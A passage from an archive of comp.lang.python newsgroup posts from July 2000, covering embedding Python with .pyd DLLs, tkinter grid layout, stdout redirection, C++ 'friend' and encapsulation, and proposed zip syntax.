1. The call to PyRun_SimpleString("import parser") eventually results in
a call to _PyImport_LoadDynamicModule which loads the DLL called
parser.pyd by calling:

    hDLL = LoadLibraryEx(pathname, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);

The call succeeds.

2.  _PyImport_LoadDynamicModule then calls:

    p = GetProcAddress(hDLL, funcname);

where funcname is "initparser" in this example.  This call also
succeeds, so p points to the init function for parser module.

3.  _PyImport_LoadDynamicModule then calls:

        (*p)();

This statement calls the init function for the imported .pyd file.

4.  The init function appears to be entered correctly and very soon the
init function calls Py_FatalError.  The reason is clear:  the init code
is using a separate copy of the variable PyThreadState_Current and that
variable is NULL because it has never been initialized.

The Borland debugger shows this variable as
[python15.PyThreadState_Current] rather than [interp_head+4] for the
same variable in the embedded interpreter.

So what is happening seems clear: there are two separate variables
called PyThreadState_Current, and the call to Py_Initialize() in the
embedded interpreter initializes only the interpreter's copy, not the
DLL's copy.

In my mind there are several possible ways to make the two copies of
PyThreadState_Current refer to the same memory.

1.  [Unlikely]  With some special initialization code before calling
(*p)().  This is unlikely for several reasons, of which one is there is
no indication anywhere that importing .pyd files should require special
code.  And changing code in _PyImport_LoadDynamicModule seems out of the
question.

2.  [Unlikely] Perhaps the call (*p)() is defective.  Borland C has
several directives for declaring function pointers.  The present Borland
code declares p with:

    typedef __cdecl FARPROC dl_funcptr;
    dl_funcptr p;

However, the difference between __cdecl, __pascal and __stdcall should
make a diffence only if p has arguments.  And the init routine seems to
be called properly.

3.  [More likely?]  We should provide information to LoadLibraryEx so
that LoadLibraryEx can fixup references within the DLL to point at the
corresponding locations in the embedded interpreter.  I've looked in
vain for information about how to do this.  Is this a matter of using
special link options, or of providing tables to LoadLibraryEx?

4.  [Less likely?] The Windows 32-bit API docs mention the DllEntryPoint
mechanism.  I don't see anything in the _PyImport_LoadDynamicModule to
indicate that this mechanism is used.  Instead, .pyd files seem to be
using their own kind of init function.

After all this background, can anyone tell me how to load .pyd files
from an embedded Python interpreter?  Also, can anyone suggest a URL
that really explains Windows DLL files?  The entries at
http://msdn.microsoft.com/library
seem less than completely satisfactory.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From olczyk at interaccess.com  Fri Jul 14 15:14:45 2000
From: olczyk at interaccess.com (Thaddeus L Olczyk)
Date: Fri, 14 Jul 2000 19:14:45 GMT
Subject: ANNOUNCE: omniORBpy 1.0 is now available
References: <8knc6c$mp1$1@pegasus.csx.cam.ac.uk>
Message-ID: <3975666e.271888750@nntp.interaccess.com>

On 14 Jul 2000 15:38:52 GMT, Duncan Grisby
<dgrisby at uk.research.att.com> wrote:

>AT&T Laboratories Cambridge is pleased to announce the release of
>omniORBpy version 1.0.
>
>omniORBpy is a robust, high-performance CORBA 2.3 ORB for Python. It
>is available for free, under the terms of the GNU General Public
>License; the libraries are under the GNU Lesser General Public
>License.
>
>Technical features:
>
>  - Fully adheres to the OMG standard Python mapping.
>
>  - Support for the Portable Object Adapter (POA).
>
>  - Support for the Interoperable Naming Service (INS).
>
>  - Strict 2.3 compliant IDL compiler. With the new compiler, it is
>    easy to write your own customised code generators, using Python.
>
>  - The omniORBpy runtime is fully multithreaded.
>
>  - A persistent COS Naming Service, omniNames, is provided. 
>
>
>omniORBpy 1.0 is available for many Unix platforms, Windows, and a
>number of other operating systems. Pre-compiled binaries are available
>for Windows (NT, 2000, and 9x), Solaris 2.5, Linux glibc2.1, HPUX 11,
>and Irix 6.5.
>
>For more details, and to download omniORBpy 1.0, see
>
>  http://www.uk.research.att.com/omniORB/omniORBpy/
Couldn't you have announced this and omniorb 3 at the same time?
Now I have to go back to your web site. Sigh.


From jason at _nospam_asylumsoft.com  Tue Jul 18 22:18:19 2000
From: jason at _nospam_asylumsoft.com (Jason Ely)
Date: Tue, 18 Jul 2000 21:18:19 -0500
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <8l32vu$l7$1@news.jump.net>

Origin is currently using Python as the scripting language of choice for
Ultima Online II

They love it from what I understand. What drove them to it?

    -Jason


"Mallor" <mallor at 3DProgrammer.com> wrote in message
news:v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net...
> Are any of you game developers out there using Python as your game
engine's
> embedded scripting language?  I am wondering what drove your decision to
use
> Python instead of other embeddable scripting languages?  I'd like to hear
what
> your overriding concerns were, and also what they are now, having put
Python to
> the test.
>
> --
> Cheers,             Infernal Troublemaker                    Troll
> Mallor              "By simple mistake, mortals themselves amuse."
>
>
>




From olivierS.dagenaisP at canadaA.comM  Tue Jul  4 23:03:01 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 05 Jul 2000 03:03:01 GMT
Subject: Q: Concurrent versionning
Message-ID: <Fzx85.37329$W35.818663@news20.bellglobal.com>

Hi again...

I'm looking into implementing a version control system on a database, so
that individual rows (of select tables) can be versionned.  (ie:  make a
copy of that row and increment the version field of the new one, then make
changes)

My question is regarding modules [or resources] that can detect and report
line-level or paragraph-level differences between two text files, very much
like the windiff tool provides.  Are there such things, out there, already
available?

Not only that, but (as I'm accustomed to the SLM - aka Slime - version
control system, the only one I've ever used) also the capability to merge
two textfiles and to elegantly report merge conflicts, very much like
"ssync" (again, part of SLM) will do.

Maybe this is simple enough to implement, and I just need to understand some
techniques in concurrent versionning, so any help would be appreciated.

Thanks!

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III





From richard_chamberlain at ntlworld.com  Tue Jul 25 02:21:12 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Tue, 25 Jul 2000 07:21:12 +0100
Subject: tkinter: grid: expand and fill
References: <8lhrbd$t4v$1@nnrp1.deja.com> <8lhs6l$tpt$1@nnrp1.deja.com> <8lhurd$3d$1@nnrp1.deja.com> <397CCB2D.DFD84326@ajubasolutions.com>
Message-ID: <diaf5.8471$yE4.138541@news2-win.server.ntlworld.com>

row_configure(0,weight=1)
column_configure(0,weight=1)

Richard

Dan Kuchler <kuchler at ajubasolutions.com> wrote in message
news:397CCB2D.DFD84326 at ajubasolutions.com...
> Keith Murphy wrote:
> >
> > here's my example that still doesn't work:
> >
> > class scrolledtext:
> >     def __init__(self, master, scrollflags=(NO,NO)):
> >         stxt = self.stxt = Frame(master)
> >         txt = Text(stxt, height=5)
> >         txt.grid(row=0, column=0, sticky=NSEW)
> >
> >         if scrollflags[0]:
> >             hbar = Scrollbar(stxt, orient=HORIZONTAL, takefocus=NO,
> > width=10)
> >             hbar.grid(row=1, column=0, sticky=W+E, columnspan=2)
> >             txt.config(xscrollcommand=hbar.set)
> >
> >         if scrollflags[1]:
> >             vbar = Scrollbar(stxt, orient=VERTICAL, takefocus=NO,
> > width=10)
> >             vbar.grid(row=0, column=1, sticky=N+S)
> >             txt.config(yscrollcommand=vbar.set)
> >
> > ...called with the following line:
> > statustxt = scrolledtext(sbar, (YES, YES))
> > where sbar is a frame.
> >
> > i want the text to fill the area except for the spots where the scroll
> > bars are.  i also want the window to be able to be resized.  help!
> >
> > thanks,
> > -->keith
> >
> > > > is there a way to make a frame, that's been formatted using grid,
> > > expand
> > > > to fill the space it is given?
>
> In tcl/tk this would be solved by making column 0 and
> row 0 have a weight of 1 and by making column 1 and row
> 1 have a weight of 0.
>
> This would be done using 'grid columnconfigure' and 'grid
> rowconfigure' in combination with the sticky code that you
> already added.
>
> If you can find the python equivalent of setting the weight
> of the columns and rows, I think your code should work.
>
> --Dan




From paul at prescod.net  Mon Jul 17 15:54:57 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 14:54:57 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  
 matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735D6E.8E3349D9@roguewave.com> <yaJc5.128072$HK2.2182550@news20.bellglobal.com>
Message-ID: <39736491.8AE5ADCE@prescod.net>

Olivier Dagenais wrote:
> 
> ...
> 
> We can write a "MatrixPython compiler" (or maybe it would be a
> pre-processor) that takes a file that uses Huaiyu's operators and spews out
> "normal" Python code.  The "compiler" would pass through all non-matrix
> specific code and substitute matrix operators with function calls or
> something.

Something like this has been proposed several times and is IMHO, the
best solution by far. Even if we agreed to add matrix ops. to Python,
experimentation would be needed in order to choose them.

-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From ejr at lotus.CS.Berkeley.EDU  Mon Jul 24 23:36:56 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 25 Jul 2000 03:36:56 GMT
Subject: Multiple dispatch [was Re: Discussion: ...]
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nki9i.7ga.neelk@brick.cswv.com> <8ite5.9395$4p3.69392@news-server.bigpond.net.au> <3hu2dfrndo.fsf@angband.org>
Message-ID: <8lj20o$36v$1@agate.berkeley.edu>

And Eric Lorenzo writes:
 - 
 - So yeah, you're reducing encapsulation a bit with multi-methods, [...]

People keep saying that, but I've yet to be convinced.  Even Scott
Meyers isn't too sure.  The idea behind the following article isn't
too far from the CLOS or Dylan view of encapsulation:
  http://www.cuj.com/archive/1802/feature.html

However, note that real impact is only felt when combined with
some way of directing the language system to perform type checks
for you.  If you can stay purely dynamic, multiple dispatch seems
much less important to me.  A function in a module already doesn't
care what type its arguments are...  If you're simply using basic
attribute methods in its arguments, it's already generic enough.

But when you _need_ the types...  And sometimes you do.  Consider
Matlab's non-treatment of the difference between 1x1 matrices and
scalars.  Or the fact that people commonly expect to add a scalar
to a matrix or vector, but not a vector to a matrix.

 - but in my view, that's okay, because arbitrarily encapsulating the 
 - addition of two objects into the class of whichever happens to be on 
 - the left isn't really appropriate, anyways.

Yup.  However, you can imagine encapsulation within the _module_.
That's a CLOS way to think about OO.  Objects aren't necessarily
the unit of encapsulation.

 - Now, to my eye, the latter is far more elegant and matches what's
 - happening conceptually much more closely, since it treats the type of
 - each of the two arguments as if they are of equal importance and uses
 - the same mechanism to deal with both.

You can carry this to an extreme.  See Cecil's predicate objects at the
following super-long URL:
  http://www.cs.washington.edu/research/projects/cecil/www/www/www/Release/doc-cecil-lang/cecil-spec-23.html
Interesting, but unproven.

 - Because C++ takes into account the type of all parameters [...]

At compile time.  The standard implementation is much different 
than that of run-time dispatching (virtual).  Python's entirely 
run-time dispatched.  That makes efficient implementations much 
more difficult.

Oh, and the compile-time flexibility in C++ also seems to help my 
object constructors.  The tradititional dynamic way to make objects
includes passing dictionaries of options, lots of keyed arguments,
etc.  That tends to add a ton of conditionals into my constructors,
and I don't like code with tons of conditionals.  I'm still not sure
if this is a deficiency on my side or not...  Probably is.

Jason, who likes the artificial compile-time / run-time dichotomy 
less and less...


From paul at prescod.net  Tue Jul 18 22:58:28 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 21:58:28 -0500
Subject: On special syntax (was Re: Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181712170.22086-100000@rock.localdomain>
Message-ID: <39751954.97E7906D@prescod.net>

Huaiyu Zhu wrote:
> 
>...
> 
> Ok, since the issue of additional binary operators has been repeatedly
> compared with various features of Perl that people dislike, without much
> details, it might be worthwhile to give it some more thoughts here.  We've
> already seen that the "it has a small userbase" argument is largely vacuous.

Argh. No, it isn't vacuous. Compared to the total number of programmers
in the world, the number of matrix programmers is small. 

> There is also a perception that Perl has too many special symbols that makes
> Perl code look like line noise.  However, if we look carefully, the fault of
> special symbols is not that they are non-alphanumeric, but that they
> introducing scoping rules.  You have to really think hard to decipher the
> scoping of things like @{$a->{$b}}[2].  (Sorry if it is wrong - I'm forgetting
> how to make it right now.)
> There might be an argument that special characters are hard to read.  As I
> said, they are hard to read mainly because of their magical effects.

No, special characters are hard to read because when you first see them,
they have no meaning. Method names have meaning because they are words
in some human language. "+", "-", "*" have meaning because you learn
them in primary school. @* has no meaning. That's why it looks like Perl
to many people. Perl is a language which, among other flaws, ascribes
meanings to symbols that have no intrinsic meaning, which is bad from an
aesthetic point of view but also makes the language more difficult to
learn.


-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From alex at magenta.com  Mon Jul 10 03:39:27 2000
From: alex at magenta.com (Alex Martelli)
Date: Mon, 10 Jul 2000 09:39:27 +0200
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <81da5.125084$WS3.1096675@typhoon.we.rr.com>
Message-ID: <8kbuqn0uoa@news1.newsguy.com>

"Stephen Hansen" <stephen at cerebralmaelstrom.com> wrote in message
news:81da5.125084$WS3.1096675 at typhoon.we.rr.com...
    [snip]
> to other languages, too. As far as i'm aware, you can get around software
> patents or copyrights by simply rewriting the software yourself. It can
fit
> into the exact same nitch, but its your code done your way.

Yes, for copyrights; no, alas, for patents, which is why patents on software
(and business processes, etc) are such a horrid idea.


Alex





From db3l at fitlinxx.com  Wed Jul  5 20:50:11 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 05 Jul 2000 20:50:11 -0400
Subject: "Write to a file" question please?
References: <tzFjOfN2zOzPHwvl3ncklEAEb+fa@4ax.com> <8jvgk9012ca@news1.newsguy.com>
Message-ID: <ur998dqv0.fsf@ctwd0143.fitlinxx.com>

"Alex Martelli" <alex at magenta.com> writes:

> Another alternative:
> 
>     import sys
>     sys.stdout = OUT
>     print "Number =", number
>     sys.stdout = sys.__stdout__
>     OUT.close()
> 
> By assigning an opened file to sys.stdout
> you temporarily "redirect" the output of
> normal "print" to that file; you can then
> go back to normal using sys.__stdout__,
> which keeps the ORIGINAL value.  Not worth
> it for writing just a few things, but fine
> if you have some function doing a lot of
> output with print, for example.

Just one thought - unless you know that you aren't going to be
embedded in some other module (and given how easy it is for one module
to import another, who can say for sure :-)), it's safer to save the
value of sys.stdout and restore to that rather than explicitly using
sys.__stdout__.  If the surrounding environment had already
"redirected" sys.stdout, this code would have an unintended
side-effect of undoing that redirection.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From paul.magwene at yale.edu  Mon Jul 24 20:32:09 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Mon, 24 Jul 2000 20:32:09 -0400
Subject: Python questions from C/Perl/Java programmer
References: <397C6F49.7BEBB207@alabanza.net> <slrn8np8pr.tc.scarblac-spamtrap@flits104-37.flits.rug.nl> <397CC80C.43F5D8@alabanza.net>
Message-ID: <397CE009.69835D49@yale.edu>

"ye, wei" wrote:
> 
[stuff about braces, variable declaration snipped]
> 

You'll find, I believe, that people on this newsgroup are not likely to
give these issues much attention, because they have been rehashed
innumerous times on this newsgroup. 

Having read this newsgroup for about 2 years, the general patterns seems
to be that newcomers initially complain loudly, propose the use of
braces, variable declarations, etc. (Gee, how come NOBODY thought of
that before!).  Following this initial period of whininess, they begin
to actually program in Python for a little while, find that they didn't
really need (or want) those crutches, and preceed to become happy Python
converts [I imagine those who don't quietly sulk back to Java and/or
Perl].

Please go back and read the hundreds of previous messages on the
topic(s). If after doing so and programming in Python for a month or
two, you still think you have some valid complaints (and better yet
working patches), by all means reraise the topic.


--Paul Magwene


From alex at magenta.com  Wed Jul 26 19:18:52 2000
From: alex at magenta.com (Alex Martelli)
Date: Thu, 27 Jul 2000 01:18:52 +0200
Subject: Python is wierd!
References: <8lj7kr$ttc$1@nnrp1.deja.com> <8ljrvu09t6@news1.newsguy.com> <l8rf5.1529$ck7.387235@nntp1.onemain.com> <8lma5602i08@news1.newsguy.com> <SQGf5.5281$c04.627774@nntp2.onemain.com>
Message-ID: <8lnrpk0qoc@news1.newsguy.com>

This discussion may appear out of place in this group, but I do not
think it is, because its central theme is VERY germane to recent
Python discussions: what IS the correct unit/granularity for
encapsulation.  Some people appear to believe that the class holds
that role, and worry about Python's "weirdness" in making it so
explicitly not-so.  I claim that, not just (e.g.) in Java with its
explicit package concept and default package-accessibility, but
also in C++ (through the proper use of 'friend'), the component,
NOT the class, holds that role.  So, here we go again...:

"Mark Baker" <mbaker at 0x7a69.net> wrote in message
news:SQGf5.5281$c04.627774 at nntp2.onemain.com...
    [snip]
> >> friend is simply an evil way of violating encapsulation. It's not
> > analogous to
> >
> > Absolutely false, although people with a superficial understanding of
> > C++ do tend to think that way.  The proper use of 'friend' is to split
> > an encapsulated, cohesive functionality among more than one class,
> > *because the class is NOT the natural unit of encapsulation*.  friend
    [snip]
> I've been writing in C++ for many years now, but this isn't a matter of
> who has a larger penis...

Clearly not: it is a matter of who is right, and who is wrong, about
a specific technical issue: is "friend", in C++, "simply an evil way
of violating encapsulation", as you say, or is it rather a way to
correctly partition the functionality of one component among more
than one class, as I say?

I think that Lakos, in his "Large-Scale C++ Software Design", puts
it best (p. 136 ff in the edition I have).

I can't use bold fonts and pretty display presentation in a post,
but that's what he uses in his book to highlight this...:

"""
Principle:
Friendship within a component is an implementation detail of that
component.
"""

"By treating the component and not the class as the fundamental
unit of design, we gain an entirely different perspective" -- one
without which, Lakos explains (and I fully agree), effective
design of large-scale C++ systems is simply unfeasible.

The C++ class is *not* the correct unit of encapsulation: the
*component*, a coordinated set of classes (and, possibly, free
standing functions), that are designed, tested, and released
together.  (Martin also makes, and richly exemplifies, this
crucial concept, in his book and in his articles, of course).

Therefore, back to quoting Lakos...:

"""
Principle:
Granting (local) friendship to classes defined within the same
component does _not_ violate encapsulation.
"""
(Here, the _not_ is in italics in Lakos' text).


An example that Lakos gives is the Container/Iterator pattern:
two classes, that are part of one, single component, and need
intimate access to each other's private parts *to the exclusion
of other classes that lie outside the component*.

"Locally, within a single component, friendship should be
granted where necessary to achieve proper encapsulation for
the component as a whole".


As it happens, one B. Stroustrup appears to share this opinion,
in as much as he wrote, for example, in the Annotated C++
Reference Manual, "A friend is as much a part of the interface
of a class as a member is".  Saying that friends are evil and
break encapsulation is therefore just about as silly as saying
that member functions do so; they are BOTH parts of the class's
interface, so why single out one over the other as "evil" &c?


> If an object's internals are to be accessed externally, then methods
should
> be provided to this inside of the object itself. It should not indicate
that
> it's alright for "some" people to violate its encapsulation.

It's not an issue of *people*.  The key issue is that "certain parts
need to be accessed from code that is syntactically not part of
the class" (but IS "part of the interface of the class", because
a friend IS that -- or do you think the ARM does not describe C++,
but rather some different language?), but that code is part of the
same COMPONENT -- the same unit of encapsulation.  No other code
needs such unrestrained access: providing that access, now THAT
*would* violate the component's encapsulation.

> If another object needs access to the internals of another object, then
this
> should solely be provided by the accessor/mutator pattern.

There is no reason to say that, if some classes within one
component need to be closely coupled, and interact strongly
(which is quite frequent: a component IS well designed as
a cohesive unit, after all!), then the close-coupling must
be exposed so it can be accessed from *outside* the boundary
of the component!

For example: in my component I can expose a class X, that I
do NOT want other components to instantiate and delete at
will; every request-for-an-instance of X, and every return-
of-an-used-instance of X, *must* go through the appropriate
method of class Factory.  I hope you can see that this is
a frequent and important case; for example, class X may
encapsulate costly/scarce resources, and Factory embeds
the recycling strategy for those resources (as well as the
other uses of those resources encapsulated in other classes
Y, Z, and T, of the same component).  Or, X might be a
semantically-rich Iterator, not creatable "in vacuo" but
only in the context of a given Tree (which is the class
that would play Factory's role then), and a Tree must keep
track of all the Iterators extant upon it.  Etc, etc.

How do you propose that the component's semantics, "every
'creation' of X MUST occur through a call to Factory's
methods, every 'destruction' of X MUST occur through yet
another set of such methods", be enforced "by the
accessor/mutator pattern"?  I'll tell you: *YOU DON'T*.

With 'friend', of course, this is trivially easy -- X's
constructors and destructor are private, and X declares
Factory as its friend.  Compile-time checking of correct
encapsulation is then as guaranteed as it ever can be
in the C++ language.

C++'s approach to encapsulation has its limits, but
"friend" is DEFINITELY not such a "limit": it is a
crucial ingredient of good large-scale C++ software
design.  Have you never met such issues in your "many
years" of C++ experience?!  Or have you let your fetish
for letting the class play the inappropriate role of
unit of encapsulation stand in the way of good design,
when faced with such issues?  Perhaps not noticing the
fact that friends *are* a part of a class's interface...?


> Friends, if attempted for use as "encapsulation" suffer from issues
regarding
> protecting implementation details, in a paradoxial and limitedly
extendable way.
> It is rare to be used in this manner.

Well-designed software is rare.  In well-designed C++ software,
however, the proper use of 'friend' is QUITE frequent, and
suffers from none of the ills you claim for it.

When I want to constrain the creation/disposal of X objects
to happen through Factory, this is NOT an "implementation
detail" I'm "protecting" -- it IS a crucial part of the
interface of my component, with absolutely no paradox to
it.  In Python, I would rely on convention, as it does not
enforce encapsulation.  In Java, I would rely on package
level accessibility for the constructors.  In C++, I will
rely on "friend".  Accessors and mutators have nothing to
do with the case.


> They are used quite often to violate real encapsulation principles, for
the sake
> of performance. Methods that are declared inline may or may not end up as
> such with any given compiler. Plus depending on the complexity of
accessors,
> one may not wish to have this code inlined in every case. In the end, the

In which case, one provides two otherwise-identical accessors -- an
inline one, and a non-inline one.  Hardly rocket science, after all.
But if the accessor is complex enough to make inlining it a problem,
then the performance 'boost' of the inlining will normally be risible
anyway -- and so will be that gained by 'manually inlining' all of
this complex code.  Worst case, a good designer, faced with a horrible
performance bottleneck, may provide lower-level accessors (to expose
the specific details that are though to be so crucial to performance,
without uselessly exposing all the rest).

And if your compiler won't inline "int getX() const { return this->x; }",
you have worse problems than any amount of 'friend' can cure.

> compiler and not the programmer should be concerned with these, in any
event.
> But now I'm diverging...
>
> In the real world, people do use friend to violate encapsulation.

In the real world, there's a lot of horribly designed code, and a
lot of people who do not understand a too-complex tool well even if
they have been using it for years.  C++ is arguably too complex
for most programmers who now use it, and for most uses to which
it is put; Python's simplicity and straightforwardness are a deep
breath of fresh air, in comparison, even to somebody who's easily
in the top centile in terms of knowledge of C++'s arcana.

But that does not justify insulting those language features one
does not understand, rather than either trying to understand them
better, or giving up the language altogether.


> >> modules, packages, or anything else. It simply provides a means of
> > violating
> >> C++'s encapsulation (usually for speed purposes, since you should be
> >> able to use the accessor/mutator pattern to work with object
> >> properties)
> >
> > Again, absolutely false, and, again, suggesting rather superficial
> > understanding of C++'s working.  A public accessor/mutator can be, and
> > generally is, written in-line, with no speed penalty whatsoever over
> > access to an instance variable.
>
> Unless of course you're not simply returning a primitive instance
variable.
> And then perhaps, as I said, you aren't inclined to want it inlined, or
have
> it inlined automatically by the compiler.
>
> Friend, though, is also used rather often to execute private methods.

Yes, of course, and of course your "usually for speed purposes" becomes
laughable here.  What "speed purposes" do you claim are being served,
by making a method private and using friend, rather than making the
method public?!  Clearly, and in exact rebuttal to your "usually", in
these cases which now you claim occur "rather often", the purpose here
is letting a certain strong coupling happen *selectively*: only between
those classes (of the same component) that specifically NEED it, keeping
the component's encapsulation INTACT with regard to classes OUTSIDE of
the component itself.

Note that my example, above, does concern itself with private methods
(specifically, private constructors and destructor).  I suspect that
(partly due to convenience issues) this may be a more frequent case
than access to private instance-variables (or private static class
variables and functions, probably a rarer need).


> > The problem is, this lets ANYBODY read/write that property (through the
> > accessor and mutator); what if you only want ONE OTHER, SPECIFIC CLASS,
> > to have that ability?  Answer: you use friend, which lets you ENFORCE
> > encapsulation
> > (and keep the accessor and/or mutator private, so that only the friend
> > class
> > can make use of them -- if it still makes sense to have them, which it
> > often does, essentially for purposes of convenience).
>
> This allows you to partially violate encapsulation, in order to maintain
it
> elsewhere. This doesn't really increase it, it decreases the violation of
it.
> To claim otherwise is amusing, at best.

Only to someone who clings to the idea that the class is the
right unit/granularity for encapsulation, and does not accept
the fact (proclaimed in the ARM) that friends are a part of
a class's interface.

To anybody who understands, there is no violation at all in
letting any part of a class's interface access the class's
internals, of course, and, so, no occasion for merriment.


> More often than not, if you need access to some part of an object's
> information, there are chances that someone else will. If you need

Nope.  I need strong coupling between the classes that make
up my single, coherent component; for example, I need my
Factory class to strictly control creation and disposal of
other object-instances provided by the component.  This
affords no inference that anybody else needs equally strict
control.

> access to someone's private implementation, then their framework
> lacks much to be desired. Encapsulation is meant to protect mostly the
> latter.

I suspect you mean "leaves", rather than "lacks", but this
is still rather unparsable even with this substitution.

"Someone's private implementation" is not the issue.  "friend"
is never correct _across_ component boundaries; it IS a crucial
implementation detail *within* a component.


> The Design and Evolution of C++ and The C++ Programming Language are
> also good in that Bjarne is more than willing to say where C++ could have
been
> better, or why a "bad" decision was made.

Yes, and never does he say that "friend" is one such bad decision.
Much less "evil", as you assert.  Stroustrup does not defend bad
design decisions (such as the existence of protected data members);
you should be thereby readier to listen when he does explain crucial
issues, such as the fact that a friend is part of a class's interface
just as much as any member is.

> Multi-Paradigm Designs for C++, Generic Programming and the STL, and other
> such books are also interesting as far as C++ goes.

And Lakos' "Large Scale C++ Software Design".  I would not recommend
it to a C++ beginner, but if you are still using C++ as well as having
all those years of experience, you would be well advised to have a
go at it: it's VERY instructive.


> Even better than strictly C++ books are things such as Design Patterns,
> Analysis Patterns: Reusable Object Models, Smalltalk 80: The Language,
> Understanding CLOS, and some others. It's much more interesting to look
> at language, framework, and pattern designs for a multitude of things, and
> then look at any one language's specific features, instead of accepting
the
> decisions or beliefs of one faction of programmers.

Learning and practising many languages is a wonderful thing, but it
does not substitute for a deep and complete understanding of one
language -- not if one wants to use that language for the best, and
not if one wants to freely use words as strong as "evil" to condemn
very specific features of that language.

It's not an issue of "factions".  If you consider C++ too complex,
and want to eschew using it wherever avoidable, you will hear no
disagreement from me -- it IS too complex for optimal human use,
and I believe an ideal situation would see it used only for a small
minority of the tasks in which it's so pervasive today, those for
which it really _can_ be optimal (mostly, IMHO, for performance
reasons).  But as and when you use it, or discuss it, you really
should base your usage, and your discussion, on a deeper and more
complete understanding -- exactly because it IS so rich & complex,
facilely branding specific features of it as "evil", without a full
understanding of their role in the overall scheme of things, is a
temptation a wise man would, I believe, carefully avoid.  (But then,
I'm not half as good in knowledge about what wise men do, than I am
about how C++ is exactly defined and best used in various cases:-).


Alex





From ge at nowhere.none  Fri Jul 28 11:47:26 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 15:47:26 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com>
Message-ID: <iWhg5.2682$6E.684157@ptah.visi.com>

In article <slrn8o39hn.3ok.grey at teleute.rpglink.com>, Steve Lamb wrote:
>On Fri, 28 Jul 2000 09:14:31 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>

>>If I type 1, I think "integer".  Sorry.  This is true outside
>>the realm of programming.  If I'm talking to someone online and
>>I want to express the idea of a string containing the character
>>'1', I will write "1" or '1'.
>
> Is it?  How many non-programmers would do that?  You do it only
> because you are a programmer who is used to catagorizing data
> into different types.  

Why does "what non-programmers do" matter when designing a
programming language?

-- 
Grant Edwards                   grante             Yow!  Of course, you
                                  at               UNDERSTAND about the PLAIDS
                               visi.com            in the SPIN CYCLE --


From herzog at online.de  Thu Jul 20 10:57:07 2000
From: herzog at online.de (Bernhard Herzog)
Date: 20 Jul 2000 16:57:07 +0200
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975EF36.1651C9CB@roguewave.com> <8l52re$tbe$1@nntp9.atl.mindspring.net> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net> <3976B4E9.B26F5FA@schneider-kamp.de>
Message-ID: <m3r98o4zp8.fsf@greebo.nodomain.de>

Peter Schneider-Kamp <peter at schneider-kamp.de> writes:

> If there wasn't this cross product connotation problem I'd really
> prefer the syntactic sugar:
> 
> for x,y; y in [(1,2), (3,4)]; [5, 6]

Could it be you meant

    for x; y in [(1,2), (3,4)]; [5, 6]:

? That's the version you used in your questionnaire.

This may habe been proposed before, but how about || as in

   for x, y in sequence1 || sequence2:
	pass

sequence1 || sequence2 would be equivalent to zip(sequence1, sequence2).

I think || conveys the notion of parallel iteration nicely. The main
disadvantage is that Python newbies coming from e.g. C or Perl will
confuse it with the logical or operator at first.

The zip() builtin has the advantage that you can influence its behavior
with extra keyword arguments like pad.

-- 
Bernhard Herzog   | Sketch, a drawing program for Unix
herzog at online.de  | http://sketch.sourceforge.net/


From jepler.lnk at lnk.ispi.net  Fri Jul  7 09:03:08 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Fri, 07 Jul 2000 13:03:08 GMT
Subject: Comparing 2 class types
References: <L2k95.37383$NP5.1176274@newsread2.prod.itd.earthlink.net>
